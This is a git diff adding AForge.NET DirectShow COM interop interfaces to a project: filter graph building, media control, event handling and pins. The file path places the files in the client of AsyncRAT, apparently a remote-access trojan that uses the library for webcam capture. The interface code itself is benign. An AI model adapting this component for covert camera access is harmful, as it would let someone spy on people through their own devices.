/// <param name="enumerator">Filter enumerator.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int EnumFilters( [Out] out IEnumFilters enumerator );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Finds a filter that was added with a specified name.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="name">Name of filter to search for.</param>
|
||||||
|
/// <param name="filter">Interface of found filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connects two pins directly (without intervening filters).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinOut">Output pin.</param>
|
||||||
|
/// <param name="pinIn">Input pin.</param>
|
||||||
|
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Reconnect( [In] IPin pin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disconnects a specified pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Pin to disconnect.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Disconnect( [In] IPin pin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the reference clock to the default clock.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetDefaultSyncSource( );
|
||||||
|
|
||||||
|
// --- IGraphBuilder methods
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinOut">Output pin.</param>
|
||||||
|
/// <param name="pinIn">Input pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Connect( [In] IPin pinOut, [In] IPin pinIn );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a chain of filters to a specified output pin to render it.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinOut">Output pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Render( [In] IPin pinOut );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Builds a filter graph that renders the specified file.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
|
||||||
|
/// <param name="playList">Reserved.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RenderFile(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string playList );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a source filter to the filter graph for a specific file.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="fileName">Specifies the name of the file to load.</param>
|
||||||
|
/// <param name="filterName">Specifies a name for the source filter.</param>
|
||||||
|
/// <param name="filter">Variable that receives the interface of the source filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AddSourceFilter(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||||
|
[Out] out IBaseFilter filter );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the file for logging actions taken when attempting to perform an operation.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="hFile">Handle to the log file.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetLogFile( IntPtr hFile );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Requests that the graph builder return as soon as possible from its current task.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Abort( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Queries whether the current operation should continue.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ShouldOperationContinue( );
|
||||||
|
|
||||||
|
|
||||||
|
// --- IFilterGraph2 methods
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
///
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="moniker">Moniker interface.</param>
|
||||||
|
/// <param name="bindContext">Bind context interface.</param>
|
||||||
|
/// <param name="filterName">Name for the filter.</param>
|
||||||
|
/// <param name="filter"> Receives source filter's IBaseFilter interface.
|
||||||
|
/// The caller must release the interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AddSourceFilterForMoniker(
|
||||||
|
[In] IMoniker moniker,
|
||||||
|
[In] IBindCtx bindContext,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||||
|
[Out] out IBaseFilter filter
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Breaks the existing pin connection and reconnects it to the same pin,
|
||||||
|
/// using a specified media type.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||||
|
/// <param name="mediaType">Media type to reconnect with.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ReconnectEx(
|
||||||
|
[In] IPin pin,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Render an output pin, with an option to use existing renderers only.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="outputPin">Interface of the output pin.</param>
|
||||||
|
/// <param name="flags">Flag that specifies how to render the pin.</param>
|
||||||
|
/// <param name="context">Reserved.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RenderEx(
|
||||||
|
[In] IPin outputPin,
|
||||||
|
[In] int flags,
|
||||||
|
[In] IntPtr context
|
||||||
|
);
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,198 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This interface provides methods that enable an application to build a filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IGraphBuilder
|
||||||
|
{
|
||||||
|
// --- IFilterGraph Methods
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a filter to the graph and gives it a name.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="filter">Filter to add to the graph.</param>
|
||||||
|
/// <param name="name">Name of the filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Removes a filter from the graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RemoveFilter( [In] IBaseFilter filter );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Provides an enumerator for all filters in the graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="enumerator">Filter enumerator.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int EnumFilters( [Out] out IEnumFilters enumerator );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Finds a filter that was added with a specified name.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="name">Name of filter to search for.</param>
|
||||||
|
/// <param name="filter">Interface of found filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connects two pins directly (without intervening filters).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinOut">Output pin.</param>
|
||||||
|
/// <param name="pinIn">Input pin.</param>
|
||||||
|
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Reconnect( [In] IPin pin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disconnects a specified pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Pin to disconnect.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Disconnect( [In] IPin pin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the reference clock to the default clock.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetDefaultSyncSource( );
|
||||||
|
|
||||||
|
// --- IGraphBuilder methods
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinOut">Output pin.</param>
|
||||||
|
/// <param name="pinIn">Input pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Connect( [In] IPin pinOut, [In] IPin pinIn );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a chain of filters to a specified output pin to render it.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinOut">Output pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Render( [In] IPin pinOut );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Builds a filter graph that renders the specified file.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
|
||||||
|
/// <param name="playList">Reserved.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RenderFile(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string playList);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a source filter to the filter graph for a specific file.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="fileName">Specifies the name of the file to load.</param>
|
||||||
|
/// <param name="filterName">Specifies a name for the source filter.</param>
|
||||||
|
/// <param name="filter">Variable that receives the interface of the source filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AddSourceFilter(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
|
||||||
|
[Out] out IBaseFilter filter );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the file for logging actions taken when attempting to perform an operation.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="hFile">Handle to the log file.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetLogFile( IntPtr hFile );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Requests that the graph builder return as soon as possible from its current task.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Abort( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Queries whether the current operation should continue.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ShouldOperationContinue( );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,118 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The interface provides methods for controlling the flow of data through the filter graph.
|
||||||
|
/// It includes methods for running, pausing, and stopping the graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsDual )]
|
||||||
|
internal interface IMediaControl
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Runs all the filters in the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Run( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Pauses all filters in the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Pause( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Stops all the filters in the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Stop( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the state of the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="timeout">Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out.</param>
|
||||||
|
/// <param name="filterState">Ìariable that receives a member of the <b>FILTER_STATE</b> enumeration.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetState( int timeout, out int filterState );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Builds a filter graph that renders the specified file.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="fileName">Name of the file to render</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RenderFile( string fileName );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a source filter to the filter graph, for a specified file.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="fileName">Name of the file containing the source video.</param>
|
||||||
|
/// <param name="filterInfo">Receives interface of filter information object.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves a collection of the filters in the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="collection">Receives the <b>IAMCollection</b> interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int get_FilterCollection(
|
||||||
|
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves a collection of all the filters listed in the registry.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="collection">Receives the <b>IDispatch</b> interface of <b>IAMCollection</b> object.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int get_RegFilterCollection(
|
||||||
|
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int StopWhenReady( );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,126 @@
|
|||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2011
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The interface inherits contains methods for retrieving event notifications and for overriding the
|
||||||
|
/// filter graph's default handling of events.
|
||||||
|
/// </summary>
|
||||||
|
[ComVisible( true ), ComImport,
|
||||||
|
Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsDual )]
|
||||||
|
internal interface IMediaEventEx
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="hEvent">Pointer to a variable that receives the event handle.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetEventHandle( out IntPtr hEvent );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the next event notification from the event queue.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="lEventCode">Variable that receives the event code.</param>
|
||||||
|
/// <param name="lParam1">Pointer to a variable that receives the first event parameter.</param>
|
||||||
|
/// <param name="lParam2">Pointer to a variable that receives the second event parameter.</param>
|
||||||
|
/// <param name="msTimeout">Time-out interval, in milliseconds.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Waits for the filter graph to render all available data.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="msTimeout">Time-out interval, in milliseconds. Pass zero to return immediately.</param>
|
||||||
|
/// <param name="pEvCode">Pointer to a variable that receives an event code.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int WaitForCompletion( int msTimeout, [Out] out int pEvCode );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Cancels the Filter Graph Manager's default handling for a specified event.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="lEvCode">Event code for which to cancel default handling.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int CancelDefaultHandling( int lEvCode );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Restores the Filter Graph Manager's default handling for a specified event.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="lEvCode">Event code for which to restore default handling.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RestoreDefaultHandling( int lEvCode );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Frees resources associated with the parameters of an event.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="lEvCode">Event code.</param>
|
||||||
|
/// <param name="lParam1">First event parameter.</param>
|
||||||
|
/// <param name="lParam2">Second event parameter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Registers a window to process event notifications.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="hwnd">Handle to the window, or <see cref="IntPtr.Zero"/> to stop receiving event messages.</param>
|
||||||
|
/// <param name="lMsg">Window message to be passed as the notification.</param>
|
||||||
|
/// <param name="lInstanceData">Value to be passed as the <i>lParam</i> parameter for the <i>lMsg</i> message.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Enables or disables event notifications.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="lNoNotifyFlags">Value indicating whether to enable or disable event notifications.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetNotifyFlags( int lNoNotifyFlags );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines whether event notifications are enabled.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="lplNoNotifyFlags">Variable that receives current notification status.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetNotifyFlags( out int lplNoNotifyFlags );
|
||||||
|
}
|
||||||
|
}
|
191
AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs
Normal file
191
AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs
Normal file
@ -0,0 +1,191 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This interface is exposed by all input and output pins of DirectShow filters.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IPin
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Connects the pin to another pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="receivePin">Other pin to connect to.</param>
|
||||||
|
/// <param name="mediaType">Type to use for the connections (optional).</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Makes a connection to this pin and is called by a connecting pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="receivePin">Connecting pin.</param>
|
||||||
|
/// <param name="mediaType">Media type of the samples to be streamed.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Breaks the current pin connection.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Disconnect( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns a pointer to the connecting pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Receives <b>IPin</b> interface of connected pin (if any).</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ConnectedTo( [Out] out IPin pin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the media type of this pin's connection.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="mediaType">Pointer to an <see cref="AMMediaType"/> structure. If the pin is connected,
|
||||||
|
/// the media type is returned. Otherwise, the structure is initialized to a default state in which
|
||||||
|
/// all elements are 0, with the exception of <b>lSampleSize</b>, which is set to 1, and
|
||||||
|
/// <b>FixedSizeSamples</b>, which is set to <b>true</b>.</param>
|
||||||
|
///
|
||||||
|
